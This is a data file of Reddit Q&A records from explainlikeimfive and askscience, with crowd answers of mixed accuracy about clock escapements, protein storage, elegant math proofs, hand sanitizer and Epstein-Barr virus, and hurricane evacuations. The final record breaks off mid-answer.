{"q_id": "5firhv", "title": "why do clocks often make two alternating noises (like \"tick\" and \"tock\")?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5firhv/eli5_why_do_clocks_often_make_two_alternating/", "answers": {"a_id": ["dakiuth", "dakiwre", "dakixg7", "dakj4tk", "dakjnd4", "daku7wj", "dakznvd", "dal021q", "dal0vb5", "dal2hrr", "dal2qv2", "dal3i2w", "dal4y6d", "dal6apo", "dal6b5g", "dalc11j", "dalkgg0", "dall1wj", "dallqm9", "daln82r", "dalo5qi"], "score": [3809, 15, 2, 1913, 4, 3, 2, 58, 21, 32, 2, 2, 3, 46, 2, 3, 2, 3, 3, 2, 2], "text": ["The gears inside the clock are moved forward by a ratcheting movement in two phases.  There is a two pronged fork resting one prong against a gear.  The fork then pivots so that the other prong is resting against the gear.  This allows one tooth of the gear to move forward in a discrete motion (one tick).\n\nSomething like this.\n_URL_0_", "This is something called subjective accentuation. \n\nUsually, the sound is exactly the same (tick, tick, tick)\n\nIt's a trick of perception, and is actually different for each person - some might hear tick-tock, others tock-tock or tock-tick.\n\nThe same thing can happen when wearing flip-flops - the sound of the sandal hitting your feet is close, but if you start listening to it, it may sound like 'flip-flop'\n\nOne school of thought is that this is linked to the unconscious desire to avoid repetitive / monotonous sounds.    \n\nAnother element to point out, is that certain people are susceptible to being irritated by repetitive noises - some will get irritated by the incessant drip-drip-drip, while others hear it as an alternating drip-drop, drip-drop.\n\nIn both cases, longer exposure to the irritating pattern has the effect of 'deepening' the mental impact of the noise- it can drive people to madness or violence.\n\nSome people can tune it out, and become 'blind' to the noise.", "[clockwork ](_URL_0_)\n\nat 00:30 you'll see that the pundulum has two cones wich block the gear alternating on different positions. this causes a slightly different sound.", "This would have to do with a part of the mechanism called the escapement.\n\nPut very simply indeed, a clock is powered by a falling weight or an unwinding spring, but the speed at which these things happen has to be regulated -- otherwise the timepiece would simply run down within seconds, the hands spinning round in a blur. The escapement is what regulates this.\n\nThere are many different types of escapement, but the simplest rocks back and forth. As it does so, it lets go of a toothed wheel very briefly, before \"catching\" it again: [this GIF animation shows how it works](_URL_1_) -- the rocking motion is provided either by a pendulum, or by a wheel (called a \"balance wheel\") with a spring forcing it to oscillate back and forth. The escapement has two positions, and so two very slightly different sounds when it clicks into each position. Another type of escapement with two different states is the [grasshopper escapement](_URL_0_).", "Mechanical clocks have a pendulum with two arms that oscillates back and forth. The left arm and the right arm take turns stopping a gear. The asymmetry of the teeth on that gear means that the sound each arm produces when stopping the gear is different.  [The teeth on the gear are asymmetrical since the gear is turning in one direction, there is not symmetry in how the arms meet the teeth.]\n\n[example](_URL_0_)", "Both swings of the pendulum do different things mechanically.  The pendulum goes both ways but the clockwork can only go one.\n\nUsually one way transfers energy from the springs to the pendulum to keep it going and the other way transfers energy from the pendulum to the gears to advance the hands.  These will have different noises.\n\nElectric analog clocks don't do this, and usually don't have a different tick to tock.", "The question has already been answered (it's the escapement) but I would *strongly* recommend having a watch of the YouTube channel [Clickspring](_URL_0_), wherein a guy makes a skeleton clock from scratch. The video production is amazing, as is his engineering skills, but the videos also help show how clocks work as he makes and demonstrates all of the clock workings.\n\nEdit: Typos and added a link", "You've gotten plenty of answers here, but I feel like I should plug the youtube channel Clickspring. He's making a mechanical clock from scratch in his machine shop and shows and explains every step and piece along the way.\n\n[This is the first time his clock ticks and tocks under its own power after making the escapement and mainspring.](_URL_0_)", "_URL_0_\n\nI love getting to see questions like this. I took a couple pictures of a clock in my shop really quick so I hope this makes sense. In one picture you can see the wheel ticking against the verge (the silver fork shaped piece). In the next it is against the other side. As the escape wheel turns it clicks against each side of the verge giving you two distinct sounds.", "There is the ratchet thing mentioned by /u/liarandathief but there is also the fact that in classic pendulum clocks (much more strongly than \"Eccentric Escapement\" clocks) the pendulum is \"powered\" in one direction and reflexive in the other.\n\nSo you wind the clock and you start the pendulum swinging. The pendulum controls the rate at which the clock advances. Basically the length from the pivot to the center of mass determines how long one second (or half-second) takes (because of math and the \"period\" of the swing). There's a little screw on the pendulum that lets you fix a clock that's running a little fast or slow.\n\nBut if you've ever set anything swinging by hand, you know that it will stop swinging.\n\nSo, the clock spring or weights must gently nudge the pendulum with each swing.\n\nThis magic trick is performed by the fact that the real clock there are clever angles in the actual gear where the rocker and sprocket thing is working. This means that the pendulum ratchets one full cycle, but it's a \"shove-stop\" and then a \"stop\", then a \"shove-stop\" then a \"stop\".\n\nIf memory serves the shove-stop is slightly more energetic and makes a slightly higher pitched tone. Hence \"tick\" versus \"tock\" or \"shove-stop\" versus just the \"stop\". Basically the mechanism moves slightly further and faster in one half of the cycle, and so makes a slightly different noise.\n\nThis was a huge problem in terms of both wear and stability, so over time the mechanisms evolved towards more uniformity in the two directions and clever means of dealing with the fact that springs and weights change how much push they have as they unwind or as the weight lowers (the longer chain length on the lower weight increases the torque a little.\n\nSo the tone differences and the \"is the power stroke the tick or the tock\" changes by clock clock maker choice and specific design.\n\nSome clocks even contrive a way to have both strokes be power strokes.\n\nAnd in \"electric pendulum drive\" clocks there are little linear motors that do the shoving and the two halves of the cycle have the same sound.\n\nIf you ever get a chance to look at the various mechanisms, and if you like mechanical things, it's really fascinating and clever.\n\nEDIT: P.S. \"escapement clocks\" use a lop-sided weight with a separate spring to do what the pendulum does, the same push and return cycle is in force, but the forces are typically much smaller so the sounds are nowhere near as distinct. If you go to a drug store and buy the \"classic alarm clock\" with the bell(s) on top and the big round belly, you'll typically find the ticking to be quite uniform.\n\nEDIT2: [This Short Video](_URL_0_) has an pendulum escapement that has power on both cycles, but the hand-made wedges are slightly different in either shape or lever arm distance (I couldn't tell for sure) and the tone slightly alternates.\n\nEDIT3: In [This Very Short Animation](_URL_1_) the left arm is ramped (vertically faced) and is the power stroke, the right arm is blunt (horizontally faced) and is the non-powered catch half of the cycle. You can see that the left side can be \"pushed\" by the gear while the right side can not.", "Mt grandparents had grandfather clocks when I was a kid. I used to listen to them as well, I usually didn't have much else to do. It was only after I'd phase out that it stopped bein tick tock and would be all ticks or all tocks which always led me to believe the sound difference was an illusion.", "The clock in the Twilight Zone intro only goes tick-tick-tick-tick.  \n  \n_URL_0_", "The escapement causes the two tones.  As the pendulum swings back and forth it catches in a special gear at the apex of both ends of the swing.  There is typically some adjusting needed to make the movement as smooth as possible for noise and wear.\n\nCheck out this video of someone making an escapement and adjusting it.\n_URL_0_", "I've wondered this myself and after listening to the clock, realized I can switch the \"ticks\" and \"tocks\" in my mind arbitrarily. Like, it's always the same sound and the back and forth was just in my head. At least with that clock ", "They don't; your mind's just creating a pattern out of a repetitive sound. Next time, try imagining it doing \"tick, tick\" or \"tock, tock\"", "Only mechanical clocks\\watches (should) do this as the part that moves back  &  forth (pallet fork) which is driven by the pendulum (clock) or balance (watch) has 2 teeth of slightly different shapes. One sound (tick) is the 1st wheel hitting the entry tooth, the other (tock) is it hitting the exit tooth.\n\nThe entire drive-train is under tension from a spring or weight, the escapement assembly prevents it unwinding all at once by moving back  &  forth at a controlled rate determined by the weight of the (ahem) weight, or the speed of the balance (determined at least in part, by the size, weight and specifications of the spring it is connected to).\n", "Long story short: mechanics. Also, The tick tock is the sound of the escapment slamming into the regulator wheel.\n\nShort story long: there (usually) is a spring inside the clock.  This spring is circular and is designed such that it goes from closed to open positions in almost one full revolution and this will spin the hands on the face  of the clock through a full 24 hours.\n\nHowever! Springs have a tendency to spring open if you let go of them. I know, right. Springs spring. Who'd have thought it?\n\nSo, what they do to is take the spring and attach it to a cog wheel. Now, this is where the sound ACTUALLY comes from.\n\nTo stop the wheel just unwinding they attach a device called an [escapment] (_URL_0_).  \n\nThink of it like a see-saw (teeter totter?) With spikes under the seat surrounded by a round about. As the see-saw goes down, the round about stops. As it goes back up the round about has just enough time to skootch through just a fraction of a turn before the other side of the spiked see saw comes crashing down. \n\nThe tick tock is the sound of the escapment slamming into the regulator wheel.", "Tick and tock(as specifically as possible)  only come from a pendulum clock like a grandfather. The tick is the hands moving at middle swing the tock is the rewinding of the gear the keeps the pendulum in motion and occurs at the end points of the pendulum swing. The intervals change with the winding of the drive gear. ", "iirc they dont. They just make the same sound but our brain perceives it as two different sounds. ", "It doesn't have an alternating sound. It's in your head bro. Tick tick tick. Tock tock tock man ", "My sundial is making similar noises, is this normal? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/eXpUq07.gifv"], [], ["https://www.youtube.com/watch?v=9GLBW1ShDCQ"], ["https://upload.wikimedia.org/wikipedia/commons/7/7b/Grasshopper-escapement_colored.gif", "https://upload.wikimedia.org/wikipedia/commons/2/29/Anchor_escapement_animation_217x328px.gif"], ["http://home.iitk.ac.in/~amit/courses/371/pagar/clock/clock-animation.gif"], [], ["https://www.youtube.com/channel/UCworsKCR-Sx6R6-BnIjS2MA"], ["https://youtu.be/T28sGA597IE?t=969"], ["http://m.imgur.com/a/VV3aS"], ["https://www.youtube.com/watch?v=z_7rE8afFfo", "https://www.youtube.com/watch?v=tLhqNET5OXg&amp;list=PLmUQT7cUKsbmLFgnK2xOgeW_48fihWpRW"], [], ["https://www.youtube.com/watch?v=ny7uGEPgoXk"], ["https://youtu.be/T28sGA597IE?t=410"], [], [], [], ["https://en.m.wikipedia.org/wiki/Escapement"], [], [], [], []]}
{"q_id": "7u04pn", "title": "Why must therapeutic proteins be stored at 2-8\u00b0C to prevent them from degradation and denaturation when proteins in our body are in an environment that's 37\u00b0C and are perfectly fine?", "selftext": "What happens exactly with the stability of therapeutic proteins when kept at room temperature?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7u04pn/why_must_therapeutic_proteins_be_stored_at_28c_to/", "answers": {"a_id": ["dtgkcgy", "dtgxa8o", "dth67x4"], "score": [30, 10, 3], "text": ["Proteins have various ordered and useful states and disordered and non useful states. Proteins which aren't frozen at room temperature will tend to loose activity over time. This happens in the body as well, but the body can replace broken enzymes.\n\nThey're also away from other useful proteins in cells that would keep them properly folded, so they'll tend to denature more quickly.\n\nProteases, chemical oxidation, and microbes tend to damage them over time, so cooling them slows these things down.\n\nThat said, in the lab enzymes have been left out for one reason or other for weeks and have been fine later when we tested it. It really depends on the enzyme. Some do less well in warm temperatures, some do better, depends on your luck.", "Proteins in our body are at 37\u00b0 true, but they definitely aren't fine at this temperature. They are broken down and recycled constantly. Different proteins have different half lives, some a few hours, some connective tissues can go for much longer. Proteins I vials for therapeutic use will break down, but can't be reform themselves.", "Also, there are examples of proteins, not from the human body, which are perfectly fine at 100 C for indefinite amounts of time. Stability and all characteristics are very protein specific. Insulin is an example of a therapeutic protein/peptide which must be stored at fridge temperatures. This is to reduce aggregation which delays the effectiveness of the drug. Therefore, maintaining proper aggregation state is important for consistant efficacy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "80vm2h", "title": "Is there any mathematical proof that was at first solved in a very convoluted manner, but nowadays we know of a much simpler and elegant way of presenting the same proof?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/80vm2h/is_there_any_mathematical_proof_that_was_at_first/", "answers": {"a_id": ["duyixeb", "duyoc6v", "duyoqga", "duyow1u", "duyp06n", "duyq2nj", "duyrdkm", "duyu90x", "duyvicc", "duyyc2z", "duyzhpb", "duz0srf", "duz1qrh", "duz1s1d", "duz4um2", "duz5buh", "duz5m5w", "duz6l6j", "duz7kmu", "duz8uf1", "duz8yeh", "duz9s67", "duzbhse", "duzcko5", "duzeit9", "duzemxh", "duzf2sy", "duzfnnw", "duzky9y", "duzlmna", "duzly5j", "duzmxrg", "duzo9uc", "duzot0q", "duzqdzm", "duzs9rt", "dv00en6", "dv0a1pn", "dv0b8lz"], "score": [91, 796, 514, 209, 125, 234, 13, 79, 3377, 830, 23, 378, 27, 7, 20, 16, 8, 779, 65, 2, 44, 7, 4, 42, 13, 29, 6, 6, 14, 3, 9, 4, 4, 6, 8, 7, 5, 3, 2], "text": ["yeah, the full list is here: _URL_0_\n\nI am not completely sure how some complex proofs reduced hundreds of pages, but some brute force problems (such as the solution to checkers) were successfully proved by a computer", "The \"one-sentence proof\" that every prime with p = 1 (mod 4) is a sum of squares would fit. Not that the previous proofs were too crazy or convoluted, but getting them down to one sentence is impressive. \n\n_URL_0_", "This isn't quite what you're after, but certain \"magic numbers\" allow a close estimation of otherwise complex formulas. One of the more famous is the fast inverse square root, or [\"evil floating point bit level hacking\"](_URL_0_). Nobody knows who originally discovered it, but it gained fame in Quake 3 Arena, where it greatly improved the graphics by shortcutting light reflections which were otherwise too complex for the hardware of the time.", "My favorite is Euler's Polyhedra Formula.\n\n_URL_2_\n\nIt's a beautifully simple property to observe, but proving it is a smidge difficult.  The proof given on the wiki page uses graph theory, but that is not the original sense of the formula, nor my favorite proof.  I much prefer the proof by legendre using spherical geometry.\n\n_URL_1_\n\nI highly recommend the book Euler's Gem, which traces the history, proofs and applications of this formula, including it's use in proving the best named principle of all time, the Hairy Ball Theorem.\n\n_URL_0_", "Godel's Incompleteness theorems.\n\nThe original proof was incredibly frustrating - trying to encode everything in numbers, and trying to force the numbers to represent themselves - it's definitely not easy to follow, even getting in the proper mindset for these kinds of problems was hard.\n\nNowadays, when programming languages are a thing, the proof can be understood by anyone who can read simple code.", "The [Prime Number Theorem](_URL_1_) originally had a very convoluted proof, but nowadays we have proofs that can fit on [three sides of A4](_URL_0_).", "The infinitude of primes is usually demonstrated using Euclid's proof (which, admittedly, is not very convoluted), but there is [a one-line proof](_URL_0_).", "[Euclid's proof of the Pythagorean theorem is relatively complex](_URL_1_).\n\nNowadays [we have some much simpler proofs](_URL_0_)", "Johann Lambert produced the first proof that pi is irrational.  It involved many pages of manipulations of generalized continued fractions.\n\nIvan Niven later produced a one-page proof using only basic calculus.\n\n_URL_0_", "What tends to be the case for this sort of thing is that eventually someone will prove something in an way that makes sense for mathematicians at the time. Then as time goes on someone will discover an alternative proof for the same problem, but using new mathematical machinery, it's also often the case that this newer machinery is somewhat more abstract and wouldn't have been available or even make intuitive sense to the previous generation of mathematicians.  \n  \nMy favorite example of this is the proof that there are infinite primes. Euclid proved this using geometric notions and it takes a good bit of effort to set up and justify the proof. However using more \"modern\" techniques, like the definition of factors and the fundamental theorem of arithmetic, we can work out a proof without much problem, thus increasing the level of \"elegance\"", "Ptolemy was able to describe the star's motion in the skys as if the earth was the center of the universe. It was accurate and stood for hundreds of years until the heliocentric model was developed.\n\n_URL_0_", "Not a proof but related: Heisenberg's first mathematical description of quantum mechanics used matrix mechanics. Then Schroedinger was able to show equivalency with a wave based mathematical approach. One is not necessarily superior, but these days the wave approach is more widely taught and used.\n\nIt's actually more interesting than that though. The mathematical approaches also reflected different, more philosophical, views on the nature of quantum mechanics and of the math itself.", "Not quite what you\u2019ve asked, but it\u2019s possible that Fermat\u2019s Last Theorem was the opposite of this. If Fermat did indeed have a proof, it was likely a lot simpler as the maths and conjecture that was used to prove the Theorem wasn\u2019t around back then", "There are many geometric theorems which will fit this, as a result of the development of analytic geometry. You can prove them in very convoluted-feeling ways with classical Euclidean proofs, or you can do some analytic geometry/calculus and solve one equation.\n\nFor example, the tangent line to a circle is perpendicular to the radius at that point. This is (through a sufficiently modern lens) an obvious corollary of the fact that the gradient is perpendicular to the level curves of the function.", "The [Stone-Weierstrass theorem](_URL_0_) fits. The traditional proof was quite involved, but there exists a newer proof that was less than one page in the textbook where I first saw it where, after a Fourier transform, the problem becomes the same form as the heat equation and you are basically done.", "I still don't understand how it works, but you can apparently use the recently-discovered [amplituhedron theory](_URL_0_) to calculate scattering amplitudes with pen and paper, something that used to take computers and hundreds of pages of math to describe.", "One of my favorites is [Szekely's proof of Szemeredi-Trotter](_URL_0_) . In that note, the third reference is Szekely's paper. The original result was proved by Szemeredi and Trotter in 1983, and took... considerably more effort!!", "The [Abel-Ruffini Theorem](_URL_0_) of the unsolvability of the general quintic equation in radicals. Ruffini's original 1799 proof held 500+ pages and was still incomplete, Abel managed to prove it in six pages in 1824.", "My favorite is Heaviside's formulae for converting between time and frequency domains.  \n\n\"How does it work?\"\n\n\"I haven't the slightest idea, but I don't refuse my dinner because I don't understand digestion.\"\n\nLater, the reply to Heaviside was, \"you're not going to like it.  You start with the integral of a complex polynomial...\" \n\nSeveral years later, it was discovered in an old french book, and today we call them LaPlace transforms. ", "Yes, it always easier to make something better rather than creating it from scratch. Once you have proven something, you have actually been given the opportunity to take another look at it. If you are able to see it from an other perspective, you might eventually find a simpler solution. \n\nEuler's identity is a characteristic example:\n\n_URL_0_", "My favorite example of this is [The Fundamental Theorem of Algebra](_URL_0_), which states that every polynomial can be solved over the Complex numbers. Not only was this so complicated that it was worthy of being Gauss' doctoral thesis, but, as mentioned in the link above, even Gauss' proof was wrong! With the advent of topology, the [idea of the proof](_URL_1_) and even a [fully rigorous proof](_URL_2_) can be presented quite simply.", "I know Archimedes used algebra to solve for the volume of a sphere. He showed that the volume of a sphere is equal to the difference in volume between a cylinder and cone with equal height and radius to the sphere. [Link](_URL_0_) \nWith the invention of calculus, you can integrate the formula for the area of a circle to get the formula for the volume of a sphere. Pretty neat.  ", "Not exactly what you were asking, but I've always loved the simplicity of of the code for generating the Fibonacci sequence using recursion in contrast to the sheer inefficiency of using it due to the amount of computing power it takes to generate after a certain amount of turns. It's delightful!\n\nAlso anything in discrete mathematics that reduces a complex-seeming puzzle into an easy eyeballing solution, like the Towers of Hanoi or Bridges of Konigsberg.", "I remember when we were introduced to finding the area under a curve. Proff spent about 30 minutes showing us the process for Simpsons Rule (I think it was the 3/8ths or something). \n\nAfter a full chalkboard, he then showed us the magic of definite integrals in five minutes. I was very relieved leaving that class. ", "I'm a fan of Euler's Formula, `e^(ix) = cos(x) + i*sin(x)`.\n\nWhen you study Geometry/Trigonometry in High School, you might have to learn how to prove all those Trigonometric Identities long hand. Takes forever, absurdly annoying.\n\nTake a course in EE or Complex Numbers, and learn Euler's Formula. Now you're proving simultaneous pairs of Trigonometric Identities so easily they can almost be done in one's head.", "The [Art gallery problem](_URL_1_) is a good example. It asks, given a layout of an art gallery, what is the minimum number of security guards needed to observe the whole gallery? (assuming the layout is a simple polygon)\n\nVaclav Chvatal first proved that the most amount of guards (an upper-bound) for an art gallery layout with *n* verticies is *n/3* in a proof a few pages long here:\n\n_URL_0_\n\nThen Steve Fisk simplified this proof down to one paragraph:\n\n >  First, the polygon is triangulated (without adding extra vertices). It is known that the vertices of the resulting triangulation graph may be 3-colored. Clearly, under a 3-coloring, every triangle must have all three colors. The vertices with any one color form a valid guard set, because every triangle of the polygon is guarded by its vertex with that color. Since the three colors partition the n vertices of the polygon, the color with the fewest vertices defines a valid guard set with at most *n/3* floor guards.\n\nTo put this simpler, take the layout of the art gallery and decompose it into a bunch of connected triangles. Find all the vertices and draw circles around them. Color all the circles either red, blue, or green, but do it so that no two circles of the same color are connected by a line. Because every triangle must contain red, blue, and green vertices, all of the vertices from a single color have view of the entire gallery. Since there is *n* vertices split between 3 colors, no more than *n/3* vertices are needed.", "Fermat's Last Theorem is the opposite of this; Fermat claimed to have found a really simple and elegant proof that no three positive integers a, b, and c satisfy the equation a^n + b^n = c^n for *any* integer value of n greater than 2. Sadly he died before writing it down. His conjecture was eventually proven right, but the proof is many pages long and required a super-computer.", "Almost all first proofs of important theorems are a mess. I believe it's largely because at that point you don't actually know if the theorem is true, and so your key desire is to figure that out. Once you know that it is true, then the streamlining begins. ", "One very short paper on an old subject is this refutation of Euler's conjecture:\n\n_URL_0_\n\nI will quote it here IN FULL!\n\n >  A direct search on the CDC 6600 yielded\n\n >   27^5 + 84^5 + 110^5 + 133^5 = 144^5\n\n >  as the smallest instance in which four fifth powers sum to a fifth power. This is a counterexample to a\u00a0conjecture by Euler that at least N Nth powers are required to sum to an Nth power, N  >  2.\n\n200 years of effort and gallons of,ink spilled, and these guys solve/refute the question in 2 sentences...because they have a computer.\n\nThis is an example of a class of papers in which computerized brute-force methods are used to solve proofs that were previously much more difficult. Some geometry problems, like the 4-color theorem, are similar.", "Not really a proof, but Cavalieri\u2019s Principle. Personally I find this principle to be common sense. I don\u2019t really see it providing new information. If I\u2019m just being an idiotic ignorant person, please point that out and tell me why it should be a principle. ", "I'd guess it's a majority of them - a messy, baggy first proof is the rule, not the exception.\n\nWith the exception of Gauss, who withheld his work for years or decades, the original published proofs of most theorems are unnecessarily complex, and possibly contain errors. And even Gauss's first efforts were slop, which is why he didn't publish them.", "The discovery of calculus did this for a lot of things. One example if I remember correctly is how Archimedes wrote a very complicated geometry based proof for the equations for volume and surface area of a sphere, involving crazy things like balancing model spheres, cones, and cylinders on levers. This proof was something that took an entire book for Archimedes to detail, however once calculus was discovered, Newton was able to prove Archimedes\u2019 equations were correct in a matter of minutes using the idea of limits and integration.", "There is a story in _The Man Who Loved Only Numbers_, the biography of Paul Erdos, where Erdos sees a problem in functional analysis, an unfamiliar area of maths, for which another mathematician has just written a thirty page proof.  Erdos asks the meaning of a few symbols and reduces the proof down to two lines.  I've found the story related [here](_URL_0_) and there are a few more details about people and place [on Stackexchange](_URL_1_) but I can't figure out what the problem was.", "This is more of a proof that was first solved in a very computationally heavy manner, and still remains so to this day, but I think it's interesting.\n\n_URL_0_\n\nThe four color theorem states that any map can be colored in with 4 colors, with no adjacent \"countries\" sharing the same color. The outline of the first original proof was to basically split any map possible into smaller maps and to check each of those. The problem is, it was thought that there were over 1900 different irreducible maps (which was reduced later to just over 1400). It took a computer dedicated to proving each case over a _thousand_ hours to prove it. There have been significant reductions in the computations needed, but all proofs to this day rely on computers. Perhaps there is a \"simpler and more elegant way\" to present the proof, but we don't know of one (as far as I know)! :)", "Late to the game, but a significant one is the Local Langlands Theorem for GLn. The Langlands Program is a really big system of conjectures in Number Theory that link together a whole bunch of really importnat ideas. It's most general form is pretty inaccessible to mathematicians at the moment, but there have been some pretty key and important breakthroughs. One of which is the Local Langlands Correspondence for GLn. It was proved in 2001 by Michael Harris, Richard Taylor and others, and the proof is a few hundred pages long. Not particularly simple.\n\nBut in 2011, a young mathematician named Peter Scholze came up with a radical way of looking at the situation involved. Scholze re-proved the correspondence in a relatively short 37 page paper. Scholze is, overall, a total math badass.", "I don't have *exactly* that case, but close.  The proof of the harmonic series' divergence originally came first from Oreseme in ~1350, but the proof was lost.  A subsequent proof from Euler (of course it's from Euler.  ALWAYS EULER) was far less elegant:\n\n1. Start with the function ln( 1 - x )\n2. The power series expansion of ln( 1 - x ) is given by:\n\n    ln( 1 - x ) = -x - x^2 /2 -x^3 /3...\n\n3. Thus at x = 1:\n\n    ln( 0 ) = - ( 1 + 1/2 + 1/3 + 1/4... ) = negative infinity\n\n\nBut the far more elegant proof is Oresme's:\n\n1. Start with the harmonic series:\n\n    1 + 1/2 + 1/3 + 1/4 + 1/5...\n\n2. Group the terms like this:\n\n    1 + 1/2 + ( 1/3 + 1/4 ) + ( 1/5 + 1/6 + 1/7 + 1/8 )...\n\n3. Note that for each group, every term is  > = the terms in these groups:\n\n    1 + 1/2 + ( 1/4 + 1/4 ) + ( 1/8 + 1/8 + 1/8 + 1/8 )....\n\n4. So, we know the harmonic series is, termwise, always greater than this series:\n\n    1 + 1/2 + 1/2 + 1/2 +...\n\n5. That series, just the addition of an infinite number of 1/2's, obviously diverges.  Thus the harmonic series, which is always larger than it, must also diverge.\n\n\nAt least, I think this proof is more elegant.  Maybe you find other proofs more elegant still.  The integral of | 1/x from 1 to infinity is awfully elegant, though establishing that the harmonic series is always larger than it seems challenging.", "An example from recent (in the last 30 years)  research in combinatorics. The Szemeredi-Trotter theorem gives an upper bound in the number of incidences between points and lines in a plane. The original proof was extremely tedious using what are known as cell decompositions.  The slick modern proof (originally found by Szekely) is about 4 lines long and uses graph theory (specifically the crossing number lemma). Terry Tao wrote up a nice exposition the proofs.", "Integration and differentiation is a good example. Initial proofs consiated of pages upon pages of maths to derive it from the root maths for all situations. Later someone figured out that simple integration was an addative increase of 1 to the power and then the division of the term by the new power - turning it into a single line of working that can often be done mentally.  (The reverse process for differentiation).", "Someone did mention the Bridges of Konigsberg problem, but I will elaborate a bit. A graph is *Eulerian* if there is a cycle in the graph that uses each edge exactly once. The general theorem says that a graph is Eulerian if and only if every vertex has even degree. This is a one or two line proof with today's terminology; essentially, the cycle must *leave* each vertex as many times as it *arrives* at each vertex. But the original proof of this is terribly long, and almost unreadable to a modern audience. It makes use of some very strange notation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_long_mathematical_proofs"], ["https://en.m.wikipedia.org/wiki/Proofs_of_Fermat%27s_theorem_on_sums_of_two_squares"], ["https://en.wikipedia.org/wiki/Fast_inverse_square_root"], ["https://en.m.wikipedia.org/wiki/Hairy_ball_theorem", "https://www.ics.uci.edu/~eppstein/junkyard/euler/sphere.html", "en.m.wikipedia.org/wiki/Euler_characteristic"], [], ["http://people.mpim-bonn.mpg.de/zagier/files/doi/10.2307/2975232/fulltext.pdf", "https://en.wikipedia.org/wiki/Prime_number_theorem"], ["http://fermatslibrary.com/s/a-one-line-proof-of-the-infinitude-of-primes"], ["https://en.wikipedia.org/wiki/Pythagorean_theorem#/media/File:Pythagoras-proof-anim.svg", "https://en.wikipedia.org/wiki/Pythagorean_theorem#Euclid's_proof"], ["https://en.wikipedia.org/wiki/Proof_that_%CF%80_is_irrational"], [], ["https://en.wikipedia.org/wiki/Geocentric_model#Ptolemaic_system"], [], [], [], ["https://en.wikipedia.org/wiki/Stone%E2%80%93Weierstrass_theorem"], ["https://www.quantamagazine.org/physicists-discover-geometry-underlying-particle-physics-20130917/"], ["http://www.hansparshall.com/pdf/szemerediTrotter.pdf"], ["https://en.wikipedia.org/wiki/Abel%E2%80%93Ruffini_theorem"], [], ["https://arstechnica.com/civis/viewtopic.php?t=998695"], ["https://en.wikipedia.org/wiki/Fundamental_theorem_of_algebra", "https://www.cut-the-knot.org/fta/courant.shtml", "https://jeremykun.com/2012/01/22/the-fundamental-theorem-of-algebra-with-the-fundamental-group/"], ["https://proofwiki.org/wiki/Volume_of_Sphere/Proof_by_Archimedes"], [], [], [], ["https://www.sciencedirect.com/science/article/pii/0095895675900611?via%3Dihub", "https://en.wikipedia.org/wiki/Art_gallery_problem"], [], [], ["http://www.ams.org/journals/bull/1966-72-06/S0002-9904-1966-11654-3/S0002-9904-1966-11654-3.pdf"], [], [], [], ["https://curiosity.com/topics/paul-erdos-was-the-eccentric-nomadic-prolific-mathematical-prodigy-youve-never-heard-of-curiosity/", "https://math.stackexchange.com/questions/261685/paul-erdoss-two-line-functional-analysis-proof"], ["https://en.wikipedia.org/wiki/Four_color_theorem"], [], [], [], [], []]}
{"q_id": "33wwp3", "title": "Do alcohol-based hand sanitizers prevent the spread of infectious mononucleosis (Epstein-Barr virus)?", "selftext": "I've tried to find the answer on this, but I'm having trouble finding information beyond \"it kills some viruses, but not all\".", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33wwp3/do_alcoholbased_hand_sanitizers_prevent_the/", "answers": {"a_id": ["cqpd65q", "cqpkg3u"], "score": [25, 2], "text": ["EBV (and CMV, a minor cause of mono) are in the family Herpesviridae, a family of enveloped viruses. Enveloped viruses are surrounded with a lipid bilayer, which they need to enter cells--as lipids are easy enough to dissolve with detergent or alcohol, it generally renders them less durable in the environment. The whole family is quite susceptible to alcohol, so hand sanitizer will inactivate virus on your hands. Unfortunately, EBV is classically spread through saliva by kissing, in which case sanitizer wouldn't be any help at all.", "If you're trying to sanitize a mouthpiece of some sort between non-carriers and an infectious person, you really should just use different mouthpieces. Mono is a pretty awful illness and I just can't think of anyway to fully sanitize against the virus. Also, getting sanitizer in your mouth surely isn't healthy. \n\nI say this because mono is spread through saliva so this is the only purpose I can imagine you trying to serve. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6z875n", "title": "why does irma have widescale evacuation while harvey didn't have one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z875n/eli5_why_does_irma_have_widescale_evacuation/", "answers": {"a_id": ["dmt9jy8"], "score": [2], "text": ["There are many reasons.\n\n1. Timing. Harvey became a hurricane on the 24th. Forecast then was that it would hit Corpus, but not have any real impact on any main city and would quickly downgrade to a tropical storm. 25th It went from category 2 to 4 - same day it made landfall in Corpus. That same day they said it would reach Houston, and this is when we first heard of warnings of flooding - max 30 inches forecast, which turned out to be a record-setting 52 inches. By the 25th we were already experiencing heavy rainfall here in Houston, and a mass evacuation would have lead to deaths.\n\n2. Predictability. Corpus and other areas likely to be hit by high wind and storm surge were evacuated. Storm surge is comparatively predictable, and one can focus evacuations on those areas likely to be affected. In contrast it was far less predictable where the heavy rainfall in Houston would hit. People in flood plains were notified, and many of those areas were under mandatory evacuation.\n\n3. Size. With major cities one cannot do mass evacuation because that is a risk in its own right. Many years ago Houstonians were told to evacuate the city due to hurricane Rita, and more than 100 people died. There are likely to be fewer deaths from Harvey than that, and very many of the deaths that happened due to Harvey happened as people were evacuating. What one does do in major cities is localized evacuation, and that happened in Houston last week as well as in Florida (Tampa, Miami, etc.) this week.\n\nThe flooding that happened in Houston was to a very large extent exceedingly low probability of happening. The first hit areas were in places that are not in flood plains - e.g. near Hobby airport. The cause of the flooding was simply the massive localized rainfall - plus the use of the motorways as a means of channeling the water. Later the areas that were badly hit were in relation to the Addicks and Barker reservoirs - both upstream and downstream. AFAIK, the two reservoirs have never reached 75% of capacity in the 60 years they have been in existence, and this time Addicks reached 100% (uncontrolled release) and Barker was very close to 100%. Hence statistically this was low probability. There were also neighborhoods that had recently installed new levies that very unpredictably needed to be evacuated, since the rain fall was beyond any forecasts and historic precedents. Add to that the fact that we had nigh on zero forewarning. By the time the warnings came we were 